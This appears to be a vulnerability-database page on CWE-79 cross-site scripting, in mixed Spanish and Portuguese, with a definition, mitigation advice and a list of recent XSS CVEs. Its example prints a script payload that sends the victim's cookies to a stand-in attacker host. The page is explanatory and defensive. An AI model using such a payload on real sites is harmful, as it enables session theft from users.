Fallos del tipo CWE-79

30.306 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-12264MEDIUMWisencode Create Support Ticket create cross site scriptingEPSS 0.2%CVE-2025-9128MEDIUMeID Easy <= 4.9.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via id ParameterEPSS 0.2%CVE-2026-1891MEDIUMSimple Football Scoreboard <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2024-10090MEDIUMXSS in iKSORISEPSS 0.2%CVE-2025-10178MEDIUMCM Business Directory <= 1.5.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2024-13598MEDIUMXSS in iKSORISEPSS 0.2%CVE-2025-10167MEDIUMStock History & Reports Manager for WooCommerce <= 2.2.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2019-25311MEDIUMthesystem Persistent XSSEPSS 0.2%CVE-2025-8664MEDIUMXSS in Saysis Computer Systems' StarCitiesEPSS 0.2%CVE-2026-4389MEDIUMDSGVO snippet for Leaflet Map and its Extensions <= 3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'unset' AttributeEPSS 0.2%CVE-2025-9493MEDIUMAdmin Menu Editor <= 1.14 - Authenticated (Contributor+) Stored Cross-Site Scripting via placeholder ParameterEPSS 0.2%CVE-2026-29964MEDIUMHSC MailInspector v5.3.3-7 contains a Cross-Site Scripting (XSS) vulnerability in the /tap/tap.php endpoint due to improper neutralization oEPSS 0.2%CVE-2025-9126MEDIUMSmart Table Builder <= 1.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via id ParameterEPSS 0.2%CVE-2026-1275MEDIUMMulti Post Carousel by Category <= 1.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'slides' Shortcode AttributeEPSS 0.2%CVE-2026-48951MEDIUMJoomla! Core - [20260705] - XSS in various modalreturn layoutsEPSS 0.2%CVE-2026-7475MEDIUMSky Addons <= 3.3.2 - Authenticated (Author+) Stored Cross-Site Scripting via Custom ScriptEPSS 0.2%CVE-2026-3333MEDIUMMinhNhut Link Gateway <= 3.6.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2025-26772MEDIUMWordPress DethemeKit For Elementor plugin <= 2.1.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-21946MEDIUMVulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC). Supported versions that are EPSS 0.2%CVE-2025-14797MEDIUMSame Category Posts <= 1.1.19 - Authenticated (Author+) Stored Cross-Site Scripting via Widget Title PlaceholderEPSS 0.2%